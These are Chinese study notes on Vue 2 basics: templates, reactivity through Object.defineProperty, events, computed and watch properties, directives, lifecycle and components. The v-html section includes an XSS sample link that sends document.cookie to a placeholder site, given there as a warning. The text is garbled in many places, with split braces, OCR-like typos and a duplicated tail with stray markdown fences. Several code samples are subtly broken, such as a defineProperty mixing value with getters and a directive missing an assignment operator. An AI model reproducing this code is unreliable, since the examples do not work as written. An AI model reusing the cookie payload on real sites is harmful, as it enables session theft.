Vue核心
1.1Vue简介
VueApi
1、Vue是什么?一套用于构建用户界面的渐进式Js框架
渐进式:简单应用一个核心库解决、复杂应用引入插件
2、谁开发的?尤雨溪
3、特点
- 采用组件化模式,提高代码复用率,更好维护代码
- 声明式编码,无需直接操作DOM,提高开发效率
- 虚拟DOM + 优秀的Diff算法 尽量复用DOM结点
vue实现
4、学习Vue之前还需要具备的前端技术栈
- ES6语法规范
- ES6模块化
- 包管理器
- 原型、原型链
- 数组常用方法
- axios
- promise
总结
- 想让Vue工作就要创建一个Vue实例,要传入一个配置对象{}
- root容器里面的代码仍然符合html规范,只不过有Vue特殊的语法
- root容器里面的代码被成为Vue模板
- Vue和容器是一一对应的
- 真实开发中只有一个实例,并且会配合着组件一起使用
- { {xxx}}中xxx要写js表达式,且xxx可以自动读取到Vue实例的data对象中所有属性
const x = new Vue({
el: '#root', //el用于指定当前Vue实例为哪个div容器服务
data: {// 用于存储数据,数据供el指定的容器使用
name: 'Yovvis',
url: 'https:www.baidu.com' //要用指令语法
}
})
注意区分js表达式和js代码
- 表达式有值
- js代码是语句,是代码片段
1.2模板语法
- 插值语法:
- 功能:用于解析标签体
- 写法:{ {xxx}},xxx是js表达式,且可以读取到data中的所有属性
- 指令语法:
- 功能:用于解析标签属性(包括:标签属性,标签体内容,绑定事件)
- 举例:v-bind:href=’xxx’ 或者简写 :href=‘xxx’,这里的xxx也是js表达式,且可以获取到data里面所有属性
- 备注:Vue中很多指令都是v-???,这里v-bind是其中一个
1.3数据绑定
v-bind:
- 单向绑定,数据有data流向页面
v-model:
- 双向绑定(必须要交互的,只能应用在表单类元素)
- v-model默认收集的是value值,因此v-model:value = v-model
1.4el与data的写法
el
- el: “#root”
- const v = new Vue({ }) == > v.$mount(”#root”) $mount在set name下面
data
- 对象式 data:+json
- 函数式 data: function(){} this返回的是Vue实例 不能用data:()— >{} 箭头函数找不到this,this是BOM对象
1.5MVVM模型*
MVVM模型
观察发现:
- data中所有的属性,最后都出现在vm身上
- vm身上所有的属性及Vue原型上所有属性,在Vue模板中都是可以直接使用
1.6数据代理
defineProperty函数
let number = 18
let person = {
name: '张三',
sex: '男'
}
Object.defineProperty(person,'age',{
value: 18,
ennumberable: true, // 控制属性是否可以被枚举,默认值是false
writable: true, // 控制属性是否可以被修改,默认值是false
configurable: true // 控制属性是否可以被删除,默认值是false
// 当有人读取person的age属性时,get函数(getter)就会被调用,返回就是age值
get(){
console.log("有人读取age属性了");
return number
},
// 当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改值
set(value){
console.log('有人读取age属性了');
number = value
}
})
数据代理:
通过一个对象代理对另一个对象中属性的操作(读 / 写)
let obj1 = {x:100}(data)
let obj2 = {y:200}(vm)
Object.defineProperty(obj2,'x',{
// 当有人读取person的age属性时,get函数(getter)就会被调用,返回就是age值
get(){
console.log("有人读取age属性了");
return obj1.x
},
// 当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改值
set(value){
console.log('有人读取age属性了');
obj1.x = value
}
})
vue数据代理
上面的obj2就是vm,obj1就是data,vm会给vm原型链自己加上_data的属性
这里vm._data === options.data === data
_data里面做了数据劫持
-
Vue中的数据代理:
通过vm对象来代理data对象中属性的操作
-
Vue中数据代理的好处:
更方便的操作data中的数据
-
基本原理:
通过Object.defineProperty()把data对象中所有属性添加到vm上,且指定一个getter和setter,用getter和setter操作data中的属性
1.7事件处理
<button v-on:click="showInfo">欢迎来到yovvis(不传参)</button>
<button v-on:click="showInfo(66,***$event***)">欢迎来到yovvis(传参)</button>
const x = new Vue({
el: '#root', //el用于指定当前Vue实例为哪个div容器服务
data: {// 用于存储数据,数据供el指定的容器使用
name: 'Yovvis',
url: 'https:www.baidu.com' //要用指令语法
},
method: {
showInfo(event){
// event就是<button></button>
console.log(this);// this就是vm
alert(event);
},
showInfo2(num,event){
// event就是<button></button>
console.log(this);// this就是vm
alert(event);
}
}
})
事件基本使用:
- 使用v-on:xxx或@xxx绑定事件,其中xxx是事件名
- 事件的回调需要配置在methods对象中,最终会在vm上;
- methods中配置的函数,不要用箭头函数!否则this就不是vm了;
- 4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象;
- @click=“demo”和@click=”"demo($event)”效果一致,但后者可以传参;
事件修饰符
@click.xxx=""
vue中的事件修饰符:
- prevent:阻止默认事件(常用);
- stop:阻止事件冒泡(常用)
- once:事件只触发一次(常用);
- capture:使用事件的捕获模式;
- self:只有event.target是当前操作的元素是才触发事件;
- passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
div(外)——>div(内)捕获 ——内——>外冒泡
@wheel可以一直滚;@scroll不可以
他们的逻辑是 滚动——执行事件——条下移,但是加上passive就立刻滚动了
修饰符可以连续写
键盘事件
@keyup.enter=”method”
特殊的@keyup.caps-lock=”method”(分割)
-
Vue中常用别名
回车 enter
删除 delete
退出 esc
空格 space
换行 tab (keydown)
上下左右 up down left right
-
Vue未提供别名的按键,可以使用按健原始的key值去绑定,但注意要转为kebab-case(短横线命名)
-
系统修饰键(用法特殊):ctr1、alt、shift、meta
(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。(2).配合keydown使用:正常触发事件。
-
也可以使用keyCode去指定具体的按键(不推荐)
-
Vue.config.keyCodes.自定义健名=键码,可以去定制按键别名
键盘可以连写
1.8计算属性
在Vue中data里面是属性,通过data里面属性操作后生成的属性
computed:{
fullName: {
// 初次读取fullName时候,所依赖的数据变化时会加载,不然就读取缓存里的值
get(){
return this.firstName + "-" + this.lastName;
},
set(value){
this.firstName = value.split("-")[0];
this.lastName = value.split("-")[1];
}
}
}
_data中是不会有计算属性的
这里是拿到getter的返回值放到vm身上
- 定义:要用的属性不存在,要通过已有的属性计算得来
- 原理:底层还是借助[Object.defineproperty]方法提供的getter和setter
- getter函数什么时候执行
- 初次读取会执行,并放入缓存
- 依赖的数据发生改变时会再次调用
- 优势:与method机制,内部有缓存机制,效率更高,调试方便
- 备注:
- 计算属性最后会挂载在vm上,直接读取调用
- 如果计算属性要被修改,必须改setter,且要在setter修改依赖的属性
简写
只考虑读取不考虑修改
computed:{
fullName: function(){
return this.firstName + "-" + this.lastName;
}
}
computed:{
fullName(){
return this.firstName + "-" + this.lastName;
}
}
注意:@click=“isHot ? ‘炎热’:’凉爽’”,事件中可以直接写返回语句,但是一定是定义在data里面的属性
1.9监视属性
两个方法,在创建实例的时候想监视的时候用**法一**
watch: {
isHot:{
immediate:true,// 初始化的时候让handler调用一下(也就是isHot发生改变的时候)
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
}
}
或者
vm.$watch('isHot',{
immediate:true,// 初始化的时候让handler调用一下(也就是isHot发生改变的时候)
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
})
总结
监视属性watch:
- 当被监视的属性变化时,回调函数自动调用,进行相关操作
- 监视的属性必须存在,才能进行监视!!
- 监视的两种写法:
- new Vue时传入watch配置
- 通过vm.$watch监视
深度监视
data:{
numbers:{
a:1,
b:1
}
}
watch:{
numbers:{
//'numbers.a':{},
deep:true,
handle(){
console.log('isHot被修改了',newValue,oldValue)
}
}
}
总结
- vue中的watch默认不监测对象内部值的改变(一层)
- 配置deep:true可以监测对象内部值改变(多层)
备注
- Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
- 使用watch时根据数据的具体结构,决定是否采用深度监视。
监视简写
简写形式的前提:1、不需要immediate2、不需要深度监视
watch:{
isHot(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
}
vm.$watch('isHot',function(newValue , oldValue){
console.log('isHot被修改了',newValue,oldValue)
})
监视和计算属性
computed和lwatch之间的区别:
- computed能完成的功能,watch都可以完成。
- watch能完成的功能,computed不一定能完成,例如: watch可以进行异步操作。
两个重要的小原则:
- 所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm或组件实例对象。
- 所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数,Promise的回调函数等),最好写成箭头函数,这样this的指向才是vm或组件实例对象。
1.10绑定CSS样式
- .basic
- .happy .sad .normal
- yovvis1
- yovvis2
- yovvis3
- 用v-bind或者:控制class
- js生成随机数Math.floor(Math.random()*3)向下取整
- arr.push()和arr.shift()
总结
绑定样式:
-
class样式
写法:class=“xxx” xxx可以是字符串、对象、数组。
字符串写法适用于:类名不确定,要动态获取。
对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
-
-
style样式
-
style="{fontsize: xxx]"其中xxx是动态值。
-
style="[a,b]"其中a、b是样式对象。
-
1.11条件渲染
<div v-if="n==1">aaa</div>
条件渲染:
-
v-if
写法:
(1).v-if=“表达式”
(2).v-else-if=“表达式”
(3).v-else=“表达式”
适用于:切换频率较低的场景。
特点:不展示的DOM元素直接被移除。
注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”
-
v-show
写法: v-show=“表达式”
适用于:切换频率较高的场景。
特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
-
备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
**ps:**template标签只能和v-if使用
<div id="root">
<h2>当前的n值是:{
n})</h2>
<button@click:="n+">点我n+l</button>
<!--使用V-show做条件渲染-->
<!--<h2v-show="false">欢迎米到{
{
name}}</h2>->
<!--<h2v-show="1==1">欢迎来到[{
name}}</h2>-->
<!-使用v-if做条件渲染-->
<!--<h2v-if="false">欢迎米到{
{
name}</h2>-->
<!--<h2v-if="1==1">欢迎米到{
{
name}}</h2>-->
<-v-elsev-else-if --
<!--<div v-if="n ==1">Angular</div>
<div v-else-if="n ==2">React</div>
<div v-else-if="n ==3">Vue</div>
<divv-else>哈哈</div>->
I
<template v-if="n ===1">
<h2>你好</h2>
<h2>尚硅谷</h2>
<h2>北京</h2>
</template>
</div>
1.12列表渲染
基本列表
这里是用遍历数组举例
<ul>
<li v-for="p in persons" :key='p.id'>
{
{
p.name}}-{
{
p.age}}
</li>
</ul>
<ul>
<li v-for="(p,index) in/of persons" :key='index'>
{
{
p.name}}-{
{
p.age}}
</li>
</ul>
new Vue({
data:{
persons:[
{
id:'1',name:'1',age:15},{
id:'2',name:'1',age:16},{
id:'3',name:'1',age:17}
]
}
})
react一定要有v-for要有key
- 用于展示列表数据
- 语法:v-for=“(item,index) in xxx” :key=“yyy”
- 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
key原理
用index破环顺序的操作
用唯一标识不会出问题
面试题
面试题: react、 vue中的key有什么作用?(key的内部原理)?
-
虚拟DOM中key的作用:
key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DON】,
随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
-
对比规则:
-
旧虚拟DOM中找到了与新虚拟DOM相同的key:
-
若虚拟DOM中内容没变,直接使用之前的真实DOM !
-
若虚拟bow中内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM.
-
-
旧虚拟DOM中未找到与新虚拟DOM相同的key
- 创建新的真实DOM,随后渲染到到页面。
-
-
用index作为key可能会引发的问题:
-
若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新==〉界面效果没问题,但效率低。
-
如果结构中还包含输入类的DOM:
会产生错误DOM更新==>界面有问题。
-
-
开发中如何选择key?:
- 最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值。
- 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。
列表过滤
排序(改变原数据)+过滤(生成新数据)
new Vue({
data:{
keyword:"",
sortType: 0, //0是原顺序 1降序 a-b 1升序b-a
persons:[
{
id:'1',name:'张三',age:35},{
id:'2',name:'李四',age:21},{
id:'3',name:'王五',age:17}
]
},
computed:{
filPersons:{
const arr = this.persons.filter((p)=>{
return p.name.indexof(this.keywords)! ==-1
})
return arr
}
}
})
列表排序
new Vue({
data:{
keyword:"",
sortType: 0, //0是原顺序 1降序 b-a 1升序a-b
persons:[
{
id:'1',name:'张三',age:35},{
id:'2',name:'李四',age:21},{
id:'3',name:'王五',age:17}
]
},
computed:{
filPersons:{
const arr = this.persons.filter((p)=>{
return p.name.indexof(this.keywords)! ==-1
})
// 判断是否需要排序
if(this.sortType){
arr.sort((p1,p2)=>{
return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
})
}
return arr
}
}
})
更新问题
// 上述的persons
methods:{
update(){
// this.persons[0].name = "12121" //奏效
persons[0] = {
id:'1',name:'张三',age:14} // 不行
}
}
监测数据的原理-对象
本质就是从**data加工**==> vm._data=data
let data = {
name: 'yovvis',
address: '苏州'
}
Object.defineProperty(data, 'name', {
get() {
return data.name;
},
set(val) {
data.name = val;
}
})
上述代码会陷入死循环
自定义监视器
let data = {
name: 'yovvis',
address: '苏州'
}
// 创建一个监视实例的对象,用于监视data中属性的变化
const obs = new Observer(data);
// 准备vm实例对象
let vm = {
}
vm._data = data = obs;
function Observer(obj) {
// 汇总对象中所有属性为 数组
const keys = Object.keys(obj);
// 遍历
keys.forEach((k) => {
// 这里的this是observer
Object.defineProperty(this, k, {
get() {
return obj[k];
},
set(val) {
console.log("name值被改了,解析中,生成虚拟dom》》》");
obj[k] = val;
}
})
})
}
Vue.set使用
Vue.set(vm.student,‘sex’,‘男’)或者vm.$set(vm.student,‘sex’,‘男’)
此处set不能直接作用**data下的属性或者是响应式对象**
监测数据的原理-数组
上文**更新问题**其实如下
vm._data.student.hobby[0] = ‘学习’
-
实际上确实改了,但是Vue不认可,原因是数组里面的数据没有getter和setter
-
一个数组操作 push(后加) pop(删尾)shift(删首) unshift(前加) splice(替换某个位置指定元素) sort(排序) reverse(反转)
-
通过**包装**检测,不是调用的Array.prototype.push
-
vue中的push做了两件事,先调原型Array。。。,然后重写解析模板,生成虚拟dom
Vue.set(vm.student,index,'打台球')// 修改可以用set
大总结
Vue监视数据的原理:
-
vue会监视data中所有层次的数据。
-
如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据。
(1).对象中后追加的属性,Vue默认不做响应式处理
(2).如需给后添加的属性做响应式,请使用如下API:
Vue.set(target.propertyName/index,value)或
vm.$set(target.propertyName/index,value)
-
如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
(1).调用原生对应的方法对数组进行更新。
(2).重新解析模板,进而更新页面。
-
在Vue修改数组中的某个元素一定要用如下方法:
- 使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
- Vue.set()或vm.$set()
特别注意: Vue.set()和vm.$set()不能给vm 或 vm的根数据对象添加属性!!
1.13收集表单数据
收集表单数据:
若:,则v-model收集的是value值,用户输入的就是value值
若:,则v-model收集的是value值,且要给标签配置value值。
若:
1.没有配置input的value属性,那么收集的就是checked(勾选 or未勾选,是布尔值)
2.配置input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选or未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的的就是value组成的数组
备注:v-model的三个修饰符:
.lazy:失去焦点再收集数据
.number:输入字符串转为有效的数字
.trim:输入首尾空格过滤
1.14过滤器
// 全局过滤器
Vue.filter('myfilter',function(value){
return value.slice(0,4);
})
// 局部过滤器
<h1>{
{
msg | myfiler | myfilter2 }}</h1>
filters:{
myfilter(value){
return value.slice(0,4);
}
}
过滤器:
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
- 注册过滤器: Vue.filter(name,callback)或new Vue{filters:{]
- 使用过滤器:{ { xxx│过滤器名}}或v-bind:属性= “xxx│过滤器名"
备注:
- 过滤器也可以接收额外参数、多个过滤器也可以串联
- 并没有改变原本的数据,是产生新的对应的数据
1.15内置指令
我们学过的指令:
v-bind:单向绑定解析表达式,可简写为:xXX
v-model :双向数据绑定
v-for:遍历数组/对象/字符串
v-on:绑定事件监听,可简写为@
v-if:条件渲染(动态控制节点是否存存在)
v-else:条件渲染(动态控制节点是否存存在)
v-show:条件渲染(动态控制节点是否展示)
v-text
- 作用:向其所在的节点中渲染文本内容。
- 与插值语法的区别: v-text会替换掉节点中的内容,{ixx}}则不会。
v-html
要考虑到安全性问题
v-html指令:
-
作用:向指定节点中渲染包含html结构的内容。
-
与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{ {xx}}则不会。
(2).v-html可以识别html结构。
-
严重注意: v-html有安全性问题!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<div v-html="str"></div>
new Vue(){
el:"#root",
data:{
str:'<a href=javascript:location.href="xxxx网站?"+document.cookie >兄弟我找到很好玩的东西'
}
}
v-cloak
v-cloak指令(没有值):
- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
- 使用css配合v-cloak可以解决网速慢时页面展示出{ {xXx}}的问题。
v-once
v-once指令:
- v-once所在节点在初次动态渲染后,就视为静态内容了。
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
v-pre
v-pre指令:
- 跳过其预在节点的编详过霜.
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点。公加快编译。
1.16自定义指令
directives:{
big(element,binding){
element.innerText = binding.value * 10
}
}
Vue.directive('fbind',{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value binding.value
}
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
}
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
}
总结
一、定义语法:
(1).局部指令:
new Vue({
directives:{
指令名:配置对象}
})
new Vue({
directives(){
0}
})
(2).全局指令:
Vue.directive(指令名,配置对象)或Vue.directive(指令名凹调函双)
二、配置对象中常用的3个回调:
(1).bind:指令与元素成功绑定时调用。
(2).inserted:指令所在元素被插入页面时调用。
(3).update:指令所在模板结构被重新解析时调用。
三、备注:
- 指令定义时不加v-,但使用时要加v-;
- 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
- 这里的this都是win
1.17生命周期*
引出生命周期
- 又名:生命周期回调函数、生命周期函数、生命周期钩了。
- 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
- 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
- 生命周期函数中的this指向是vm或组件实例对象。
分析生命周期
总结
常用的生命周期钩子:
- mounted:发送ajax请求、启动定时器绑定自定义事件、订阅消息等【初始化操作】。
- beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
- 关于销毁Vue实例
- 销毁后借助Vue开发者工具看不到任何信息。
- 销毁后自定义事件会失效,但原生D0州事件依然有效。
- 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
vue组件化编程
组件就是一块砖,哪里需要哪里搬
2.1模块(化)与组件(化)
组件就是实现应用中 局部 功能 代码 和 资源 的 集合
- 模块化:当应用中的js都以模块来编写,那这个应用就是一模块化应用
- 组件化:当应用中的功能都是多组件的方式来编写的,那这个应用就是组件化的应用
2.2非单文件组件
基本使用
三步骤
- 创建
- 注册
- 使用
就是一个文件里写了多个组件:过渡
<div>
<student></student>
</div>
const stu = Vue.extend({
template:'
<div>
<h1>你好{
{
name}}</h1>
</div>
',
data(){
return {
name: 'yovvis',
}
}
})
// 局部注册
new Vue({
el:"#root",
components:{
student : stu
}
})
// 全局注册
Vue.component("stu",stu);
Vue使用组件的三步骤:
- 定义组件(创建组件)
- 注册组件
- 使用组件(写组件标签)
一、如何定义一个组件?
使用Vue.extend(options)创建,其中options.和Inew Vue(options)时传入的那个options几乎一样,区别如下
-
e1不要写,为什么?
最终所有的组件都要经过一个vm的管理,由vm中的e1决定服务哪个容器
-
data必须写成函数,为什么?
避免组件被复用时,数据存在引用关系。
各注:使用template标签可以配置组件结构。
二、如何注册组件?
- 局部注册:靠new Vuel的时候传入components.选项
- 全局注册:Vue,component(‘组件名’,组件)
三、编写组件标签:
注意点
1.关于组件名:
一个单词组成:
第一种写法(首字母小写):schoo1
第二种写法(首字母大写):Schoo1
多个单词组成:
第一种写法(kebab-case命名):my-school
第二种写法(CamelCase命名):MySchool(需要Vue脚手架支持)
备注
(1).组件名尽可能回避HTML中己有的元素名称,例如:h2、H2都不行。
(2).可以使用name配置项指定组件在开发者工具中呈现的名字。
2.关于组件标签:
第一种写法:
第二种写法:
各注:不用使用脚手架时,会导致后续组件不能渲染。
3,一个简写方式:
const school=Vue,extend(options)可简写为:const school=options
组件的嵌套
VueComponent
关于VueComponent:
-
school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的
-
我们只需要写或,Vue解析时会帮我们创建schoo1组件的实例对象,即Vue播我们执行的:new VueComponent(options)。
-
特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!
-
关于this指向:
(1).组件配置中:
data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【VueComponent实例对象】
(2),new Vue()配置中:
data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【Vue实例对象】
-
5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)
Vue的实例对象,以后简称vm。
一个重要的内置关系
首先什么是原型
function Person() {
this.a = 5;
this.b = 6;
}
const p1 = new Person();
console.log('@', Person.prototype) //显示原型属性
Person.prototype.x = 99;
console.log('@', p1.__proto__) // 隐式原型属性
实际上看不到Cat的prototype和catMimi中的_ proto _
所以
- 一个重要的内置关系:VueComponent.prototype_proto_=Vue.prototype
- 为什么要有这个关系:让组件实例对象(vc)可以访问到Vue原型上的属性、方法。
2.3单文件组件
<template>
<div class="demo">
<h2>名称:{
{name}}</h2>
<h2>地址:{
{address}}</h2>
<button @click="showName">点我</button>
</div>
</template>
<script>
export default {
name: "School",
data() {
return {
name: "yyy",
address: "盐城",
};
},
methods: {
showName() {
alert(this.schoolName);
},
},
};
</script>
<style>
.demo {
background-color: orange;
}
</style>
export是暴露出去
有三种
-
export 打头 是分别暴露
export const school = Vue.extend( data(){… }, methods:{… } })
-
export 最后 统一暴露
const school = Vue.extend( data(){… }, methods:{… } }) export {school}
-
默认暴露
const school = Vue.extend( data(){… }, methods:{… } }) export defalut school
整个流程
html
<body>
<div id="root">
</div>
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript" src="./app.js"></script>
</body>
app.js
import App from './App.vue'
Vue.config.productionTip = false
new Vue({
el: '#root',
template: '<App></App>',
components: {
App }
})
App.vue
<template>
<div>
<Student />
<School />
</div>
</template>
<script>
import School from "./School.vue";
import Student from "./Student.vue";
export default {
name: "App",
components: { Student, School },
};
</script>
<style>
</style>
“yyy”,
address: “盐城”,
};
},
methods: {
showName() {
alert(this.schoolName);
},
},
};
export是暴露出去
有三种
1. export 打头 是分别暴露
~~~vue
export const school = Vue.extend(
data(){…
},
methods:{…
}
})
~~~
2. export 最后 统一暴露
~~~vue
const school = Vue.extend(
data(){…
},
methods:{…
}
})
export {school}
~~~
3. 默认暴露
~~~vue
const school = Vue.extend(
data(){…
},
methods:{…
}
})
export defalut school
~~~
### 整个流程
html
~~~html
<body>
<div id="root">
</div>
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript" src="./app.js"></script>
</body>
app.js
import App from './App.vue'
Vue.config.productionTip = false
new Vue({
el: '#root',
template: '<App></App>',
components: {
App }
})
App.vue
<template>
<div>
<Student />
<School />
</div>
</template>
<script>
import School from "./School.vue";
import Student from "./Student.vue";
export default {
name: "App",
components: { Student, School },
};
</script>
<style>
</style>